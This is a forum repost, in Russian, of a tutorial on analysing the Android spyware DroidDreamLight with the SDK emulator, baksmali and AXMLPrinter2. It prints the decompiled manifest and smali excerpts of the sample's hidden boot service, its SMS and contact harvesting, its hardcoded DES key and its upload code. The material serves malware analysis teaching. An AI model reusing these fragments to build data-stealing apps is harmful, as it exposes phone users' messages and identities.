+ Reply to Thread
Results 1 to 3 of 3

Thread: Android malware analysis

  1. #1
    Prosper-H's Avatar

    Default Android malware analysis

    Оригинал: resources.infosecinstitute.com


    Intro

    Прогресс в технологии принес нам мобильные телефоны с почти такой же мощностью и функциональностью, как персональные компьютеры. Но все бы ничего, если бы не киберкриминал, который всегда найдет способ, как использовать что-то себе во благо. В последнее время мы наблюдаем увеличивающееся количество вредоносного программного обеспечения нацеленного на OS Android, которая по сути является наилучшей платформой для этого.

    На данный момент OS Android подвергается наиболее пристальному вниманию со стороны вирусописателей и уже превзошла по этому показателю OS Symbian, которая до этого была основной целью разработчиков вредоносного программного обеспечения. Быстрый рост вредоносов нацеленных на Android говорит о том, что платформа становится ключевой целью киберкриминала (Источник).

    Почему это происходит? Android является открытой платформой с Java-based приложениями. В отличии от iPhone OS, для разработки приложений под которую, требуется войти «в программу разработки» (developers program) и внести начальную плату, только для того чтобы начать. С Adndroid приложениями все намного проще, нужно просто скачать Android SDK, которое доступно любому желающему, и просто начать. Так же Android разработчику не нужно передавать свое приложения кому-либо для проверки, если он, конечного же, не собирается размещаться его в Android маркете. Все что ему нужно, для распространения своего приложения, это веб-сервер и ссылка на приложение.


    Анализ вредоносных образцов

    В общем целом существует два метода анализа зловредов, а именно динамический и статический. Во время динамического анализа проверяется поведение приложения, для этого малварь запускают на тестовой системе. В большинстве случаев для этого используют виртуальные машины/устройства или песочницы (sandbox). Сам же анализ заключается в простом запуске приложения и просмотре сетевых и системных логово во время выполнения зловреда. С другой стороны, во время статического анализа нужно разобрать приложение с помощью инструментов реверс инженеринга и используя определенные навыки воссоздать действительный код и алгоритм, который был заложен в программу. Оба метода имеют свои плюсы и минусы. Выбор того или иного зависит исключительно от решения и опыта аналитика. В большинстве случаев динамический анализ предоставит результаты намного быстрее, чем статический, не смотря на то, что некоторые вещи могут быть упущены, хотя и легко определяются во время статического анализа.


    Инструменты для анализа зловредов

    Для тех кто хочет начать или получить опыт, в реверсинге вредоносов под Android, существует несколько доступных инструментов призванных облегчить данный процесс. Разделим инструменты исходя из метода анализа:

    Для динамического анализа доступны следующие инструменты:
    • Droidbox: Песочница (sandbox) для динамического анализа Android приложений. Использует: предварительную статическую проверку, динамический анализ и мониторинг API вызовов.

      Сайт: http://code.google.com/p/droidbox/

    • Android SDK: Комплект разработки программного обеспечения для создания приложений под платформу Android. Android SDK включает примеры проектов с исходным кодом, средства разработки, эмулятор и необходимые библиотеки для создания Android приложений. Приложения используют язык Java и запускаются на виртуальной машине Dalvik, которая работает поверх ядра Linux. Используя Android SDK можно создать виртуальное Android устройство практически идентичное по функциональности и возможностям настоящему телефону. Используя это виртуальное устройство мы можем выполнять и наблюдать за вредоносным программным обеспечением внутри безопасной среды.

      Сайт: http://developer.android.com/sdk/index.html

    • androidAuditTools: Еще один инструмент для динамического анализа.

      Сайт: https://github.com/wuntee/androidAuditTools
    Для статического анализа доступны следующие инструменты:
    • Mobile Sandbox: веб-сервис с простым интерфейсом, который осуществляет статический анализ образов малвари.

      Сайт: http://www.mobile-sandbox.com

    • IDA pro версии 6.1 и выше. IDA Pro дизассемблер всех времен и народов. Поддерживает байт-код Android начиная с профессиональной версии 6.1 и выше.

      Сайт: http://www.hex-rays.com/products/ida/6.1/index.shtml

    • APKInspector: Мощный графический инструмент для анализа Android приложений.

      Сайт: http://code.google.com/p/apkinspector/

    • Dex2jar: Инструмент для конвертирования .dex файлов андроида в Java-классы .class

      Сайт: http://code.google.com/p/dex2jar/

    • Jd-gui: Представляет отдельную графическую утилиту, которая отображает исходный код Java файлов .class. Вы можете просматривать восстановленный исходный код с помощью JD-GUI для прямого доступа к методам.

      Сайт: http://java.decompiler.free.fr/?q=jdgui

    • Androguard: Инструмент для реверсинга и исследования вредоносных приложений под Android.

      Сайт: http://code.google.com/p/androguard/

    • JAD: Декомпилятор Java.

      Сайт: http://www.varaneckas.com/jad

    • Dexdump: Java декомпилятор .dex файлов.

      Сайт: http://code.google.com/p/dex-decomplier/

    • Smali: smali/baksmali является ассемблером/дизассемблером для файлов .dex используемых виртуальной машиной Dalvik. Основан на синтаксисе Jasmin/dedexer и поддерживает полную функциональность dex-формата (аннотацию, отладочную информацию, строковую информацию, etc)

      Сайт: http://code.google.com/p/smali/
    В большинстве случае, для анализа вредоносного программного обеспечения, я использую следующие инструменты (которые вам нужно будет у себя воссоздать):
    • VMware. Желательно запущенная под Линуксом. Вы можете использовать любой дистрибутив, с которым вы знакомы. Я использую дистрибутив базирующийся на системе Debian, ввиду простого управления пакетами.
    • Android SDK установленный в системе.
    Начнем с установки Android SDK, просто скачайте нужные файлы из http://developer.android.com/sdk/index.html (в моем случае это: android-sdk_r13-linux_x86.tgz) и распакуйте содержимое архива. Место распаковки не имеет никакого значения, просто выберите то место, которое вы запомните.

    В пакете есть несколько отсутствующих инструментов, которые будут нужны вам для того чтобы продолжить, поэтому откройте терминал и используйте команду «cd» для перехода в папку, куда вы извлекли файлы, после чего используйте следующую команду:


    Рис. 1. Обновление инструментов Android для того, чтобы запустить Android SDK.

    Эта команда осуществит процедуру обновления Android SDK и AVD Manager. Выберите все опции и установите их (install), наиболее важными являются Platform-tools, они могут понадобиться вам для эмуляции различных устройств в будущем.


    The malware

    Одним из самых пресловутых вредоносов, который появился в Android OS, является DroidDream. DroidDream был включен в приложения, которые казались легальными, и которые были размещены в Android Market. Приложения, вероятно, были созданы тремя разными разработчиками под именами: Myournet, Kingmall2010 и we20090202, и хотя Google быстро удалил их, приблизительная оценка установок колеблется в пределах от 50 до 200 тысяч (Источник).

    В нашем случае мы рассмотрим один из вариантов этой малвари, названной DroidDreamLight. На момент исследования эта разновидность имела низкий уровень обнаружения антивирусами перечисленными на VirusTotal. Сам образец был найден в Китайском маркете. Для получения копии вредоноса, мы можем воспользоваться блогом contagio, по следующему адресу:

    http://contagiominidump.blogspot.com...-found-in.html

    Все варианты DroidDream скрывают свое присутствие либо создавая не видимую для пользователя службу (service) в системе, либо просят выполнить себя в ручную, после чего размещаются первыми в списке выполнения в AndroidManifest.xml.

    APK пакеты, по сути, являются JAR файлами, которые можно без проблем распаковать с помощью большинства архиваторов (прим. пер. например, с помощью WinRar). Распаковка нашего файла, com.button.phone_91595200_0.apk даст нам следующую структуру каталогов:


    Рис. 2

    Как мы можем видеть, содержимое каталога состоит из следующих элементов:
    • Каталог META-INF, в котором размещены три файла: файл манифеста MANIFEST.MF, сертификат приложения CERT.RSA и файл CERT.SF, в котором перечислены ресурсы с их месторасположением и хэшем RSA-1.
    • Каталог «res» – это каталог, где можно найти все ресурсы используемые приложением.
    • В каталоге «asserts» обычно находятся изображения и иконки для приложения.
    • В корневом каталоге имеется такие файлы как: AndroidManifest.xml (обязательный второй файл манифеста для приложения, описывающий имя, версию, права доступа, связи с библиотеками), classes.dex содержит классы скомпилированные для виртуальной машины Dalvik, resource.arcs содержит бинарное представление ресурсов, после того как они были скомпилированы.
    Описание других определений можно посмотреть по следующему адресу:

    http://developer.android.com/guide/a.../glossary.html

    Нужно помнить, что некоторые файлы все еще остаются упакованными (compressed), например, AndroidManifest.xml не является текстовым файлом. Для того, чтобы его распаковать, нам нужно воспользоваться AXMLPrinter2.jar (прим. пер. используйте для этих целей «apktool» и будет вам счастье), который можно найти по следующему адресу:

    http://code.google.com/p/android4me/

    Используя AXMLPrinter2.jar мы можем распаковать манифест и сохранить его в отдельный файл.


    Рис. 3

    Используйте для этого следующую команду:

    Code:
    java –jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest.xml.clean
    На данный момент AndroidManifest.xml (прим. пер. имеется ввиду AndroidManifest.xml.clean) является текстовым файлом и мы можем посмотреть его содержимое.

    Code:
    <?xml version=”1.0″ encoding=”utf-8″?>
    <manifest
        xmlns:android=”http://schemas.android.com/apk/res/android”
        android:versionCode=”4″
        android:versionName=”1.3″
        package=”com.button.phone”
        >
        <uses-sdk
            android:minSdkVersion=”6″
            >
        </uses-sdk>
        <uses-permission
            android:name=”android.permission.INTERNET”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.CHANGE_WIFI_STATE”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.CHANGE_NETWORK_STATE”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.ACCESS_WIFI_STATE”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.ACCESS_NETWORK_STATE”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.BLUETOOTH”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.BLUETOOTH_ADMIN”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.WRITE_SETTINGS”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.READ_PHONE_STATE”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.ACCESS_FINE_LOCATION”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.GET_ACCOUNTS”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.WRITE_SYNC_SETTINGS”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.READ_SYNC_SETTINGS”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.RECEIVE_BOOT_COMPLETED”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.INTERNET”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.READ_PHONE_STATE”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.RECEIVE_BOOT_COMPLETED”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.ACCESS_NETWORK_STATE”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.READ_CONTACTS”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.READ_SMS”
            >
        </uses-permission>
        <uses-permission
            android:name=”android.permission.GET_ACCOUNTS”
            >
        </uses-permission>
        <application
            android:label=”@7F060001″
            android:icon=”@7F020009″
            >
            <activity
                android:label=”@7F060001″
                android:name=”.Switcher”
                android:launchMode=”1″
                >
                <intent-filter
                    >
                    <action
                        android:name=”android.intent.action.MAIN”
                        >
                    </action>
                    <category
                        android:name=”android.intent.category.LAUNCHER”
                        >
                    </category>
                </intent-filter>
            </activity>
            <activity
                android:name=”com.google.ads.AdActivity”
                android:configChanges=”0x000000B0″
                >
            </activity>
            <activity
                android:label=”@7F060032″
                android:name=”.Setting”
                >
            </activity>
            <receiver
                android:name=”.Receiver”
                >
                <intent-filter
                    >
                    <action
                        android:name=”android.intent.action.BOOT_COMPLETED”
                        >
                    </action>
                </intent-filter>
            </receiver>
            <receiver
                android:name=”.strategy.core.RebirthReceiver”
                >
                <intent-filter
                    >
                    <action
                        android:name=”android.intent.action.BOOT_COMPLETED”
                        >
                    </action>
                    <action
                        android:name=”android.intent.action.PHONE_STATE”
                        >
                    </action>
                    <category
                        android:name=”android.intent.category.DEFAULT”
                        >
                    </category>
                </intent-filter>
            </receiver>
            <service
                android:name=”.strategy.service.CelebrateService”
                >
            </service>
        </application>
    </manifest>
    Некоторые вещи, которые мы можем легко определить как подозрительные, требуют прав доступа, которые нужны приложению для работы в следующих областях связанных:
    • SMS-собщениями.
    • Сетью.
    • Манипулированием состоянием телефона или каталогом учетных записей.
    • Запуском службы (service) в фоновом режиме.
    То, что мы видим в AndroidManifest.xml часто встречается в файлах зараженных вредоносным программным обеспечением, где помимо описания разрешений для легитимного приложения, также имеется дополнительный пакет службы (service), который размещен в месте невидимом для пользователя.

    Получить больше информации о разрешениях можно по следующему адресу:

    http://developer.android.com/referen...ermission.html

    Прежде чем продолжать процесс реверсинга, давайте взглянем на то, как работает приложение, когда оно запущено на телефоне.

    Для этого нам нужно создать виртуальное устройство, используя менеджер управления устройствами из Android SDK. Для его запуска воспользуйтесь следующей командой:

    Code:
    your_path_android_sdk/tools/android
    После чего возникнет графический интерфейс, в котором нужно открыть окно для создания нового устройства:


    Рис. 4

    И заполнить его соответствующей информацией:


    Рис. 5

    Вполне возможно, что вам придется загружать ваше устройство много раз, поэтому, ввиду того, что как вы наверное знаете, загрузка виртуальной машины может занимать много времени, то лучшим решением этой проблемы, будет включение опции «Snaphot».

    Нажатие на кнопку «Create ADV», создаст виртуальную машину. Теперь мы готовы запустить систему. Нажав на кнопку start мы инициализируем этот процесс. Если это первый раз, когда вы загружаете устройство, то процесс запуска системы может занять несколько минут. Когда она запустится вы должны увидеть следующий экран:


    Рис. 6

    Установка приложения в виртуальной машине происходит довольно просто. Для этого используются инструменты из Android SDK. Все что нужно сделать, это открыть терминал и перейти в каталог с инструментами из SDK пакета. Далее использовать команду adb, которая поможет в установке. Сначала нам нужно убедиться, что сервер взаимодействия (communication server) запущен, выполнив команду:

    Code:
    ./adb start-server
    А затем команду:

    Code:
    ./adb push package.apk

    Рис. 7

    Как определено в файле AndroidManifest.xml именем приложения является «Switcher», что мы собственно и можем видеть в левом верхнем углу виртуального устройства.

    Интересно заметить, что при попытке запуска приложения под виртуальной машиной оно отказывается работать.


    Рис. 8

    Но давайте посмотрим, что же на самом деле выполняется на системе. Для доступа к командной строке нашего устройства можно использовать команду adb с параметром shell, например, так:

    Code:
    ./adb shell

    Рис. 9

    Сейчас командная строка находится внутри виртуального телефона, с помощью выполнения команды ps мы можем обнаружить, что наш засранец все же выполняется.


    Рис. 10

    Для того, чтобы узнать больше информации о поведении исследуемой программы, нам нужно будет проанализировать ее бинарный код, расположенный в файле classes.dex. Как было описано выше, есть два метода, с помощью которых можно выполнить анализ и для каждого из них мы имеем различные инструменты. Все эти инструменты дадут хорошие результаты в процессе реверсинга приложения, и это всего лишь вопрос предпочтений, с каким инструментом вы будете чувствовать себя более уверенно.

    Для статического анализа мы будем использовать baksmali, копию которого можно взять отсюда:

    http://smali.googlecode.com/files/baksmali-1.2.8.jar

    baksmali может декомпилировать файл classes.dex в читаемый формат:


    Рис. 11

    После декомпиляции, содержимое файла classes.dex, будет находиться в директории с именем «out».


    Рис. 12

    Файлы, которые нас интересуют, размещены в папке «out/com/button/phone/», а если конкретно, то это основной файл «Switcher.smali» и файлы службы «celebrate».

    To view the files we can use any type of text editor. Looking at Switcher.smali text file, as expected there is nothing that seems out of order. The program is supposed to look for the connections and manage the state of them. You can use Switcher to toggle off/on your gps/Bluetooth/wifi/audio. An actual picture of what the user will have to see, is the following:

    Для просмотра файлов мы можем использовать любой текстовый редактор. Как и ожидалось, просмотрев текс файла Switcher.smali, не было обнаружено ничего подозрительного. Программа предназначена для поиска соединений и управления их состоянием. Вы можете использовать Switcher для переключения off/on вашего GPS/Bluetooth/WiFi/Audio. Реальную картину того, что будет видеть пользователь на своем телефоне, показано ниже:


    Рис. 13

    Приложение: http://m.anzhi.com/app.php?type=info&softid=46080

    Код из Switcher.smali:

    Code:
    # static fields
    
    .field public static handler:Landroid/os/Handler;
    
    # instance fields
    .field private airBtn:Landroid/widget/ToggleButton;
    .field private airTV:Landroid/widget/TextView;
    .field private blueBtn:Landroid/widget/ToggleButton;
    .field private blueTV:Landroid/widget/TextView;
    .field private connectManager:Landroid/net/ConnectivityManager;
    .field private gprsTV:Landroid/widget/TextView;
    .field private gpsBtn:Landroid/widget/ToggleButton;
    .field private gpsTV:Landroid/widget/TextView;
    …
    Смотря на код программы, никто не найдет ничего такого, что может представлять угрозу для системы, за исключением того, что когда программа создана, есть второй экземпляр, который вызывает вредоносный сервис (service).

    Продолжение листинга (line 1462 of Switcher.smali):

    Code:
    .method public onCreate(Landroid/os/Bundle;)V
    .registers 16
    .parameter “savedInstanceState”
    .prologue
    
    .line 140
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
    
    .line 141
    const/high16 v11, 0x7f03
    invoke-virtual {p0, v11}, Lcom/button/phone/Switcher;->setContentView(I)V
    
    .line 143
    invoke-direct {p0}, Lcom/button/phone/Switcher;->showNotify()V
    
    .line 145
    const-string v6, “DDH#X%LT”
    
    .line 146
    .local v6, key:Ljava/lang/String;
    new-instance v5, Landroid/content/Intent;
    const-class v11, Lcom/button/phone/strategy/service/CelebrateService;
    invoke-direct {v5, p0, v11}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    
    .line 147
    .local v5, i:Landroid/content/Intent;
    invoke-virtual {p0, v5}, Lcom/button/phone/Switcher;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    
    .line 151
    new-instance v11, Lcom/button/phone/NetworkStateReceiver;
    …
    Как мы можем видеть, в нутрии каталога phone/strategy/ лежит сервис, который выполняется в фоновом режиме, после установки программы. Структура этого каталога представлена ниже:

    Code:
    .
    ├── NetworkStateReceiver.smali
    ├── R$array.smali
    ├── R$attr.smali
    ├── R$drawable.smali
    ├── Receiver.smali
    ├── R$id.smali
    ├── R$layout.smali
    ├── R.smali
    ├── R$string.smali
    ├── R$styleable.smali
    ├── Setting.smali # Actual program files.
    ├── strategy
    │   ├── constant
    │   │   └── Constant.smali             # Constant values of filenames used
    │   ├── core
    │   │   ├── ContactSmsHandler.smali    1. Handling SMS messages, reading and saving them
    │   │   ├── RebirthReceiver.smali         2. Checking if boot state is completed to run the service
    │   │   ├── SmsTask$MyTimerTask.smali    # Files used for SmsTask
    │   │   ├── SmsTask.smali             3. Sms gathering using scheduled tasks and DES encryption
    │   │   └── SmsTask$Task.smali        # Files used for SmsTask
    │   ├── net
    │   │   ├── DomParse.smali        # Handing xml files
    │   │   ├── HttpHandler$1.smali        # Files used for HttpHandler
    │   │   ├── HttpHandler$2.smali
    │   │   ├── HttpHandler$3.smali
    │   │   ├── HttpHandler.smali        4. Handle http requests, bypassing proxy by reading mobile configuration and uploading files using POST.
    │   │   ├── ResponseHandler.smali        5. Handling responses from http requests, package management features
    │   │   ├── TransactionService.smali    6. Handle the commands and content coming from the HttpHandler
    │   │   ├── Transaction.smali        # Handling exceptions during transaction requests.
    │   │   ├── UploadFile.smali        7. Handling the upload of files to remote servers, encrypting and compressing.
    │   │   ├── WriteXML$AttrPair.smali     # XML parsing
    │   │   └── WriteXML.smali            # Functions used to generate xml format of the contents
    │   ├── service
    │   │   ├── AppManager.smali        8. Functions to handle package management
    │   │   ├── CelebrateService$1.smali    # Files included at CelebrateService
    │   │   ├── CelebrateService$2$1$1.smali
    │   │   ├── CelebrateService$2$1.smali
    │   │   ├── CelebrateService$2.smali
    │   │   ├── CelebrateService$3.smali
    │   │   ├── CelebrateService.smali        9. The background service
    │   │   └── Tools.smali            10. Handling the configuration and updating sense.tcd configuration file.
    │   ├── SimpleDDServerActivity.smali    # Service instance
    │   └── util
    │   ├── Base64$1.smali            # Includes from Base64
    │   ├── Base64$InputStream.smali
    │   ├── Base64$OutputStream.smali
    │   ├── Base64.smali            11. Base64 encoding for http transport
    │   ├── DesPlus.smali            12. DES encryption for data
    │   └── ZipFile.smali            # Compression
    ├── Switcher$1.smali            # Switcher application includes
    ├── Switcher$2.smali
    ├── Switcher.smali                # Application
    └── Utils.smali
    Приложение после установки в системе, начинает установку службы, которая выполняется после загрузки устройства. Эта служба умеет читать: конфигурацию устройства, SMS-сообщения, адресную книгу и IMEI. Помимо этого она имеет возможность загружать эту информацию в сжатом или зашифрованном формате используя для этого ключ шифрования «DDH#X%LT», который хранится в файле DesPlus. Так же в файле Constant мы можем видеть ссылки на сообщения об ошибках, например:

    ПРИМЕЧАНИЕ: В исходном коде приложения доминирует Китайский язык

    Code:
    Line 15 CelebrateService
    .field public static final download_failed_zh:Ljava/lang/String; = “\u4e0b\u8f7d\u5931\u8d25″
    UTF-8 Encoded version of 下 载失败 translated as “Download failure”
    Исходя из языка (используемого внутри исходного кода), интерфейса и того факта, что этот вредонос был вначале размещен в Китайском Android Market, можно с уверенностью предположить, что это приложение разработано Китайскими разработчиками, целью которых было получение доступа к местному рынку.

    Отличия в коде между различными вариантами DroidDream – частичны. Основной вызов службы имеет следующий вид:

    Code:
    # virtual methods
    .method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
    .registers 3
    .parameter “intent”
    .prologue
    
    .line 53
    const/4 v0, 0×0
    return-object v0 @Override     public IBinder onBind(Intent intent) {         return mBinder;     }
    Во время создания службы, вещи становятся более интересными:

    Code:
    .method public onCreate()V
    .registers 9
    .prologue
    const/4 v7, 0×0
    
    .line 108
    invoke-super {p0}, Landroid/app/Service;->onCreate()V
    
    .line 109
    iput-object p0, p0, Lcom/button/phone/strategy/service/CelebrateService;->mCtx:Landroid/content/Context;
    
    .line 118
    iget-object v1, p0, Lcom/button/phone/strategy/service/CelebrateService;->mCtx:Landroid/content/Context;
    invoke-static {v1}, Lcom/button/phone/strategy/service/Tools;->cpConfigFile(Landroid/content/Context;)V
    Служба начинает собирать информацию о системе и создает конфигурационный файл «sense.tcd», этот код расположен в файле Tools:

    Code:
    .method public static cpConfigFile(Landroid/content/Context;)V
    .registers 4
    .parameter “ctx”
    .prologue
    
    .line 374
    new-instance v0, Ljava/io/File;
    new-instance v1, Ljava/lang/StringBuilder;
    invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    invoke-virtual {p0}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
    move-result-object v2
    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
    move-result-object v1
    const-string v2, “/”
    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v1
    const-string v2, “sense.tcd”
    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v1
    invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v1
    invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    
    .line 375
    .local v0, f:Ljava/io/File;
    if-eqz v0, :cond_2a
    invoke-virtual {v0}, Ljava/io/File;->exists()Z
    move-result v1
    if-nez v1, :cond_31
    
    .line 376
    :cond_2a
    const-string v1, “sense.tcd”
    const-string v2, “sense.tcd”
    invoke-static {p0, v1, v2}, Lcom/button/phone/strategy/service/Tools;->getRawResource(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Z
    
    .line 378
    :cond_31
    return-void
    .end method
    Если кто интересуется, то из файла Tools можно получить больше информации о возможностях и функциях малвари, например, служба может выполнять следующие действия:
    • createInboxSms: создает SMS-сообщение;
    • createNewSu – монтирует файловую систему как для чтения, так и для записи, чтобы скопировать пакет используя команду cat;
    • filterXMLStringValue – для парсинга конфигурационных XML-файлов, которые созданы для загрузки контента;
    • getApnProxy – для получения информации о соединениях;
    • getCellId – для получения информации о системе;
    • getConfig – для получения приватной информации из конфигурационного файла «sense.tcd»;
    • getCurrentApn – для получения текущей APN (Access Point Name, Имя точки доступа);
    • getDDPackageName – для получения загруженных пакетов из внутреннего конфигурационного файла;
    • getFeedProxys – приложение в этой точке вызывает функцию getVector для чтения «sense.tcd», для того чтобы найти IP-адрес для транзакций;
    • getFormatTime – для получения формата времени (time format);
    • getIMEI – для чтения IMEI-телефона;
    • getIMSI – для чтения IMSI;
    • getLAC – для чтения LAC (Location Area Code) телефона;
    • getMilliSecondByHourAndMins – для получения точного времени;
    • getNextFeedbackTime – считывает конфигурацию, чтобы получить время для следующей синхронизации данных;
    • getNextSmsTaskTime – получает время для запланированной SMS задачи, согласно внутренней конфигурации;
    • getRandomIndex – возвращает случайное число, для использования в шифровании;
    • getRawResource – общая функция для чтения/записи содержимого;
    • getRootFileName – получает RName5 записи из внутреннего конфигурационного файла;
    • getSMSC – для получения списков sms контактов;
    • getStringByCalendar – для получения даты и месяца;
    • getTaskProxys – для получения адреса серверов из «sense.tcd», которые используются для управления задачами;
    • getUID – для получения user id;
    • getUploadProxys – возвращает адреса серверов, которые используются для загрузки содержимого устройства;
    • getUploadUrl – создает URL формат, который используется для отправки данных. Имеет примерно следующий вид:

      "http://SERVERIP/p??PhoneType=TYPE&Version=VERSION &PhoneImei=IMEI &PhoneImsi=IMSI"
    • getVector – парсит конфигурационный файл;
    • installPackage – устанавливает пакеты из /system/app;
    • isPackageInstalled – проверяет существование пактов в системе;
    • rootFileExist – проверяет существование фейкового su в папке /system/bin;
    • runRootCommand – для выполнения команды в системе;
    • saveConfig – используется для создания senset.tcd зашифрованного алгоритмом шифрования DES.
    • saveDDPackageName – сохраняет список внутренних пакетов.
    • saveFeedProxys – обновляет список серверов.
    • saveNextFeedbackTime – используется для сохранения времени следующего сеанса связи.
    • saveNextSmsTaskTime, saveRootFileName, saveTaskProxys, saveUploadProxys, saveVector – используются для сохранения конфигурационных данных в sense.tcd
    • sendSms – для создания sms-сообщений
    • uninstallPackage – calling pm uninstall, для удаления пакета.

    Как мы можем видеть, с функциями которые существуют в системе, зловредное приложение может иметь почти полный контроль над системой, фактически, исходя из того, что я видел в других зловредах, в этом отсутствует разве что функция голосовой записи.

    Служба, через равные промежутки времени, которые установлены в конфигурационном файле и которые обновляются через командные сервера, устанавливает расписание (schedule) для сбора SMS-контактов и информации об учетной записи. На данный момент, малвари, необходимо взаимодействовать с пользователем и производить начальную установку пакета. Я верю, что не далеко то время, когда мы увидим вредоносов имеющих p2p-возможности, которые будут взаимодействовать с другими устройствами в сети, делая мобильный ботнет мощным инструментом. Большинство из нас привыкли к мысли о существовании компьютерных вирусов. Вредоносное программное обеспечение пытается воровать контент, корпоративные файлы, информацию о банковских аккаунтах и персональные данные. Вредоносное программное обеспечение на мобильных телефонах сможет выполнять все эти функции, а также прослушивать наши частные беседы, которые до сих про считаются приватными, и читать наши SMS-сообщения.

    Ниже представлена общая информация о рассмотренном вредоносе, а так же некоторые части кода выбранные из его исходных файлов.

    Имена файлов, которые используются зловредом и могут быть найдены в устройстве:

    Code:
    CALLLOG_FILENAME:Ljava/lang/String; = “calllog8″ # Saved call log with duration
    CALLLOG_ZIP_FILENAME:Ljava/lang/String; = “calllog_zip7″ # Save name catalog list
    CONTACT_FILENAME:Ljava/lang/String; = “contact7″ # Save name for the contacts
    CONTACT_ZIP_FILENAME:Ljava/lang/String; = “contact_zip4″ # Save name for the compressed catalogue
    DD_CONFIG_DDPACKAGENAME:Ljava/lang/String; = “DDPackageName2″ # Configuration parameter, saved in sense.tcd
    DD_CONFIG_FEEDPROXY:Ljava/lang/String; = “Feed3Proxy9″ # External server
    DD_CONFIG_NAME:Ljava/lang/String; = “sense.tcd” # Configuration filename, encrypted with DES encryption
    DD_CONFIG_NEXTFEEDBACKTIME:Ljava/lang/String; = “Next3Feedback8″ # Scheduled time for next communication
    DD_CONFIG_NEXTTASKTIME:Ljava/lang/String; = “NextTask3″ # Scheduled time for next task
    DD_CONFIG_ROOTNAME:Ljava/lang/String; = “RName5″
    DD_CONFIG_TASKPROXY:Ljava/lang/String; = “Task3Proxy5″ # External server
    DD_CONFIG_UPLOADPROXY:Ljava/lang/String; = “UploadProxy7″ # External server for content upload
    DOWNLOAD_FILENAME:Ljava/lang/String; = “filename4″ # Packages
    DOWNLOAD_URL:Ljava/lang/String; = “url4″ # URL for packages
    Edition:Ljava/lang/String; = “3.2.1″ # Version
    GOA_FILENAME:Ljava/lang/String; = “goa4″ # Google account information
    GOA_ZIP_FILENAME:Ljava/lang/String; = “goa_zip5″ # Compressed account information
    NOTIFY_DESCRIPTION:Ljava/lang/String; = “Description4″ # Package description
    NOTIFY_PACKAGE:Ljava/lang/String; = “PackageName4″
    SMSTASK:Ljava/lang/String; = “SMSTask2:” # SMS Task
    SMSTASK_CONFIG_FILENAME:Ljava/lang/String; = “tsk9.dat” # Contents gathered from SMS gathering task
    Некоторые части кода, выбранные из исходных файлов:

    1. Сбор SMS-данных в запланированное время (по расписанию):

    Code:
    .method public start()V
    .registers 3
    .prologue
    
    .line 216
    new-instance v0, Ljava/lang/Thread;
    iget-object v1, p0, Lcom/button/phone/strategy/core/SmsTask;->smsTask:Lcom/button/phone/strategy/core/SmsTask;
    invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    2. Проверка состояния загрузки и запуск службы:

    Code:
    :cond_1a
    iget-object v0, p0, Lcom/button/phone/strategy/core/RebirthReceiver;->mCtx:Landroid/content/Context;
    new-instance v1, Landroid/content/Intent;
    iget-object v2, p0, Lcom/button/phone/strategy/core/RebirthReceiver;->mCtx:Landroid/content/Context;
    const-class v3, Lcom/button/phone/strategy/service/CelebrateService;
    invoke-direct {v1, v2, v3}, Landroid/content/Intent;><init>(Landroid/content/Context;Ljava/lang/Class;)V
    invoke-virtual {v0, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    3. Обработка SMS.
    4. Displaying the method uploadFile from httphandler:

    Code:
    .method public uploadFile([BLjava/net/URL;)I
    .registers 5
    .parameter “requestBytes”
    .parameter “url”
    .prologue
    
    .line 162
    invoke-virtual {p0, p2}, Lcom/button/phone/strategy/net/HttpHandler;->setUrl(Ljava/net/URL;)V
    
    .line 163
    invoke-virtual {p0, p1}, Lcom/button/phone/strategy/net/HttpHandler;->setRequestbytes([B)V
    
    .line 164
    const-string v1, “POST”
    invoke-virtual {p0, v1}, Lcom/button/phone/strategy/net/HttpHandler;->setRequestMethos(Ljava/lang/String;)V
    
    .line 165
    const-string v1, “application/octet-stream”
    invoke-virtual {p0, v1}, Lcom/button/phone/strategy/net/HttpHandler;->setContent_type(Ljava/lang/String;)V
    
    .line 166
    invoke-direct {p0}, Lcom/button/phone/strategy/net/HttpHandler;->connect()I
    5. Обработка запросов для обновления и управления пакетами:

    Code:
    .line 126
    iget-object v9, p0, Lcom/button/phone/strategy/net/ResponseHandler;->downloadContent:Landroid/content/ContentValues;
    const-string v10, “Description4″
